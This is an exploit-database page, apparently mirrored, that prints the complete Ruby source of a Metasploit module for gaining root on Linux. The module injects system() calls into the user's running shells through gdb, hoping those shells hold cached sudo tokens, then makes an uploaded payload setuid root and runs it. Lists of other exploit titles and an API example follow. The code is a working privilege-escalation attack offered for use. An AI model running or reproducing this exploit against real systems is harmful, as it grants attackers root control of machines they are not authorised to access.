Menu

Search for hundreds of thousands of exploits

"ptrace - Sudo Token Privilege Escalation (Metasploit)"

Author

Metasploit

Platform

linux

Release date

2019-09-03

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Linux::Kernel
  include Msf::Post::Linux::Priv
  include Msf::Post::Linux::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'ptrace Sudo Token Privilege Escalation',
      'Description'    => %q{
        This module attempts to gain root privileges by blindly injecting into
        the session user's running shell processes and executing commands by
        calling `system()`, in the hope that the process has valid cached sudo
        tokens with root privileges.

        The system must have gdb installed and permit ptrace.

        This module has been tested successfully on:

        Debian 9.8 (x64); and
        CentOS 7.4.1708 (x64).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'chaignc', # sudo_inject
          'bcoles'   # Metasploit
        ],
      'DisclosureDate' => '2019-03-24',
      'References'     =>
        [
          ['EDB', '46989'],
          ['URL', 'https://github.com/nongiach/sudo_inject'],
          ['URL', 'https://www.kernel.org/doc/Documentation/security/Yama.txt'],
          ['URL', 'http://man7.org/linux/man-pages/man2/ptrace.2.html'],
          ['URL', 'https://lwn.net/Articles/393012/'],
          ['URL', 'https://lwn.net/Articles/492667/'],
          ['URL', 'https://linux-audit.com/protect-ptrace-processes-kernel-yama-ptrace_scope/'],
          ['URL', 'https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html']
        ],
      'Platform'       => ['linux'],
      'Arch'           =>
        [
          ARCH_X86,
          ARCH_X64,
          ARCH_ARMLE,
          ARCH_AARCH64,
          ARCH_PPC,
          ARCH_MIPSLE,
          ARCH_MIPSBE
        ],
      'SessionTypes'   => ['shell', 'meterpreter'],
      'Targets'        => [['Auto', {}]],
      'DefaultOptions' =>
        {
          'PrependSetresuid' => true,
          'PrependSetresgid' => true,
          'PrependFork'      => true,
          'WfsDelay'         => 30
        },
      'DefaultTarget'  => 0))
    register_options [
      OptInt.new('TIMEOUT', [true, 'Process injection timeout (seconds)', '30'])
    ]
    register_advanced_options [
      OptBool.new('ForceExploit', [false, 'Override check result', false]),
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
    ]
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def timeout
    datastore['TIMEOUT']
  end

  def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
    register_file_for_cleanup path
  end

  def check
    if yama_enabled?
      vprint_error 'YAMA ptrace scope is restrictive'
      return CheckCode::Safe
    end
    vprint_good 'YAMA ptrace scope is not restrictive'

    if command_exists? '/usr/sbin/getsebool'
      if cmd_exec("/usr/sbin/getsebool deny_ptrace 2>1 | /bin/grep -q on && echo true").to_s.include? 'true'
        vprint_error 'SELinux deny_ptrace is enabled'
        return CheckCode::Safe
      end
      vprint_good 'SELinux deny_ptrace is disabled'
    end

    unless command_exists? 'sudo'
      vprint_error 'sudo is not installed'
      return CheckCode::Safe
    end
    vprint_good 'sudo is installed'

    unless command_exists? 'gdb'
      vprint_error 'gdb is not installed'
      return CheckCode::Safe
    end
    vprint_good 'gdb is installed'

    CheckCode::Detected
  end

  def exploit
    unless check == CheckCode::Detected
      unless datastore['ForceExploit']
        fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
      end
      print_warning 'Target does not appear to be vulnerable'
    end

    if is_root?
      unless datastore['ForceExploit']
        fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
      end
    end

    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    if nosuid? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is mounted nosuid"
    end

    # Find running shell processes
    shells = %w[ash ksh csh dash bash zsh tcsh fish sh]

    system_shells = read_file('/etc/shells').to_s.each_line.map {|line|
      line.strip
    }.reject {|line|
      line.starts_with?('#')
    }.each {|line|
      shells << line.split('/').last
    }
    shells = shells.uniq.reject {|shell| shell.blank?}

    print_status 'Searching for shell processes ...'
    pids = []
    if command_exists? 'pgrep'
      cmd_exec("pgrep '^(#{shells.join('|')})$' -u \"$(id -u)\"").to_s.each_line do |pid|
        pids << pid.strip
      end
    else
      shells.each do |s|
        pidof(s).each {|p| pids << p.strip}
      end
    end

    if pids.empty?
      fail_with Failure::Unknown, 'Found no running shell processes'
    end

    print_status "Found #{pids.uniq.length} running shell processes"
    vprint_status pids.join(', ')

    # Upload payload
    @payload_path = "#{base_dir}/.#{rand_text_alphanumeric 10..15}"
    upload @payload_path, generate_payload_exe

    # Blindly call system() in each shell process
    pids.each do |pid|
      print_status "Injecting into process #{pid} ..."

      cmds = "echo | sudo -S /bin/chown 0:0 #{@payload_path} >/dev/null 2>&1 && echo | sudo -S /bin/chmod 4755 #{@payload_path} >/dev/null 2>&1"
      sudo_inject = "echo 'call system(\"#{cmds}\")' | gdb -q -n -p #{pid} >/dev/null 2>&1"
      res = cmd_exec sudo_inject, nil, timeout
      vprint_line res unless res.blank?

      next unless setuid? @payload_path

      print_good "#{@payload_path} setuid root successfully"
      print_status 'Executing payload...'
      res = cmd_exec "#{@payload_path} & echo "
      vprint_line res
      return
    end

    fail_with Failure::NoAccess, 'Failed to create setuid root shell. Session user has no valid cached sudo tokens.'
  end

  def on_new_session(session)
    if session.type.eql? 'meterpreter'
      session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
      session.fs.file.rm @payload_path
    else
      session.shell_command_token "rm -f '#{@payload_path}'"
    end
  ensure
    super
  end
end
Release Date Title Type Platform Author
2019-09-10 "LibreNMS - Collectd Command Injection (Metasploit)" remote linux Metasploit
2019-09-06 "FusionPBX 4.4.8 - Remote Code Execution" remote linux Askar
2019-09-05 "AwindInc SNMP Service - Command Injection (Metasploit)" remote linux Metasploit
2019-09-03 "ptrace - Sudo Token Privilege Escalation (Metasploit)" local linux Metasploit
2019-09-03 "ktsuss 1.4 - suid Privilege Escalation (Metasploit)" local linux Metasploit
2019-08-20 "QEMU - Denial of Service" remote linux vishnudevtj
2019-08-26 "Exim 4.87 / 4.91 - Local Privilege Escalation (Metasploit)" local linux Metasploit
2019-08-19 "Webmin 1.920 - Remote Code Execution" webapps linux "Fernando A. Lagos B"
2019-08-14 "ABC2MTEX 1.6.1 - Command Line Stack Overflow" dos linux "Carter Yagemann"
2019-08-12 "Webmin 1.920 - Unauthenticated Remote Code Execution (Metasploit)" remote linux AkkuS
2019-08-12 "Ghidra (Linux) 9.0.4 - .gar Arbitrary Code Execution" local linux "Etienne Lacoche"
2019-08-12 "Linux - Use-After-Free Reads in show_numa_stats()" dos linux "Google Security Research"
2019-07-30 "Redis 4.x / 5.x - Unauthenticated Code Execution (Metasploit)" remote linux Metasploit
2018-12-29 "Linux Kernel 4.4.0-21 < 4.4.0-51 (Ubuntu 14.04/16.04 x86-64) - 'AF_PACKET' Race Condition Privilege Escalation" local linux bcoles
2018-12-29 "Linux Kernel < 4.4.0/ < 4.8.0 (Ubuntu 14.04/16.04 / Linux Mint 17/18 / Zorin) - Local Privilege Escalation (KASLR / SMEP)" local linux bcoles
2018-12-29 "Linux Kernel 4.8.0-34 < 4.8.0-45 (Ubuntu / Linux Mint) - Packet Socket Local Privilege Escalation" local linux bcoles
2019-01-04 "Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (polkit Method)" local linux bcoles
2018-11-21 "Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (ldpreload Method)" local linux bcoles
2019-01-04 "Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (dbus Method)" local linux bcoles
2018-11-21 "Linux Kernel 4.15.x < 4.19.2 - 'map_write() CAP_SYS_ADMIN' Local Privilege Escalation (cron Method)" local linux bcoles
2019-07-24 "Linux Kernel 4.10 < 5.1.17 - 'PTRACE_TRACEME' pkexec Local Privilege Escalation" local linux bcoles
2019-07-26 "pdfresurrect 0.15 - Buffer Overflow" dos linux j0lama
2019-07-22 "Axway SecureTransport 5 - Unauthenticated XML Injection" webapps linux "Dominik Penner"
2019-07-22 "Comtrend-AR-5310 - Restricted Shell Escape" local linux "AMRI Amine"
2019-07-19 "Docker - Container Escape" local linux dominikczarnotatob
2019-07-22 "BACnet Stack 0.8.6 - Denial of Service" dos linux mmorillo
2019-07-19 "Web Ofisi Firma 13 - 'oz' SQL Injection" webapps linux "Ahmet Ümit BAYRAM"
2019-07-19 "Web Ofisi Rent a Car 3 - 'klima' SQL Injection" webapps linux "Ahmet Ümit BAYRAM"
2019-07-19 "Web Ofisi Firma Rehberi 1 - 'il' SQL Injection" webapps linux "Ahmet Ümit BAYRAM"
2019-07-19 "Web Ofisi Emlak 3 - 'emlak_durumu' SQL Injection" webapps linux "Ahmet Ümit BAYRAM"
Release Date Title Type Platform Author
2019-09-10 "October CMS - Upload Protection Bypass Code Execution (Metasploit)" remote php Metasploit
2019-09-10 "LibreNMS - Collectd Command Injection (Metasploit)" remote linux Metasploit
2019-09-10 "Windows 10 - UAC Protection Bypass Via Windows Store (WSReset.exe) and Registry (Metasploit)" local windows Metasploit
2019-09-10 "Windows 10 - UAC Protection Bypass Via Windows Store (WSReset.exe) (Metasploit)" local windows Metasploit
2019-09-05 "AwindInc SNMP Service - Command Injection (Metasploit)" remote linux Metasploit
2019-09-03 "Cisco RV110W/RV130(W)/RV215W Routers Management Interface - Remote Command Execution (Metasploit)" remote hardware Metasploit
2019-09-03 "Cisco Data Center Network Manager - Unauthenticated Remote Code Execution (Metasploit)" remote java Metasploit
2019-09-03 "Cisco UCS Director - default scpuser password (Metasploit)" remote unix Metasploit
2019-09-03 "ptrace - Sudo Token Privilege Escalation (Metasploit)" local linux Metasploit
2019-09-03 "ktsuss 1.4 - suid Privilege Escalation (Metasploit)" local linux Metasploit
2019-08-26 "Exim 4.87 / 4.91 - Local Privilege Escalation (Metasploit)" local linux Metasploit
2019-08-05 "Apache Tika 1.15 - 1.17 - Header Command Injection (Metasploit)" remote windows Metasploit
2019-07-30 "Redis 4.x / 5.x - Unauthenticated Code Execution (Metasploit)" remote linux Metasploit
2019-07-29 "WP Database Backup < 5.2 - Remote Code Execution (Metasploit)" remote php Metasploit
2019-07-29 "Schneider Electric Pelco Endura NET55XX Encoder - Authentication Bypass (Metasploit)" remote unix Metasploit
2019-07-17 "Windows - NtUserSetWindowFNID Win32k User Callback Privilege Escalation (Metasploit)" local windows Metasploit
2019-07-16 "PHP Laravel Framework 5.5.40 / 5.6.x < 5.6.30 - token Unserialize Remote Command Execution (Metasploit)" remote linux Metasploit
2019-07-16 "Microsoft Windows 10 < build 17763 - AppXSvc Hard Link Privilege Escalation (Metasploit)" local windows Metasploit
2019-07-12 "Xymon 4.3.25 - useradm Command Execution (Metasploit)" remote multiple Metasploit
2019-07-03 "Apache Tomcat - CGIServlet enableCmdLineArguments Remote Code Execution (Metasploit)" remote windows Metasploit
2019-07-03 "Serv-U FTP Server - prepareinstallation Privilege Escalation (Metasploit)" local linux Metasploit
2019-07-02 "Mac OS X TimeMachine - 'tmdiagnose' Command Injection Privilege Escalation (Metasploit)" local macos Metasploit
2019-06-26 "Nagios XI 5.5.6 - Magpie_debug.php Root Remote Code Execution (Metasploit)" remote linux Metasploit
2019-06-20 "Cisco Prime Infrastructure Health Monitor - TarArchive Directory Traversal (Metasploit)" remote linux Metasploit
2019-06-20 "Cisco Prime Infrastructure - Runrshell Privilege Escalation (Metasploit)" local linux Metasploit
2019-06-05 "LibreNMS - addhost Command Injection (Metasploit)" remote linux Metasploit
2019-06-05 "IBM Websphere Application Server - Network Deployment Untrusted Data Deserialization Remote Code Execution (Metasploit)" remote windows Metasploit
2019-05-29 "Oracle Application Testing Suite - WebLogic Server Administration Console War Deployment (Metasploit)" remote java Metasploit
2019-05-23 "Shopware - createInstanceFromNamedArguments PHP Object Instantiation Remote Code Execution (Metasploit)" remote php Metasploit
2019-05-23 "Apple Mac OS X - Feedback Assistant Race Condition (Metasploit)" local macos Metasploit
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/47345/?format=json')
                        {"url": "https://www.nmmapper.com/api/exploitdetails/47345/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/47345/41705/ptrace-sudo-token-privilege-escalation-metasploit/download/", "exploit_id": "47345", "exploit_description": "\"ptrace - Sudo Token Privilege Escalation (Metasploit)\"", "exploit_date": "2019-09-03", "exploit_author": "Metasploit", "exploit_type": "local", "exploit_platform": "linux", "exploit_port": null}
                    

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Wig is a web application information gathering tool, which can identify numerous Content Management Systems and other administrative applications including basic vulnerability identification.

Browse exploit APIBrowse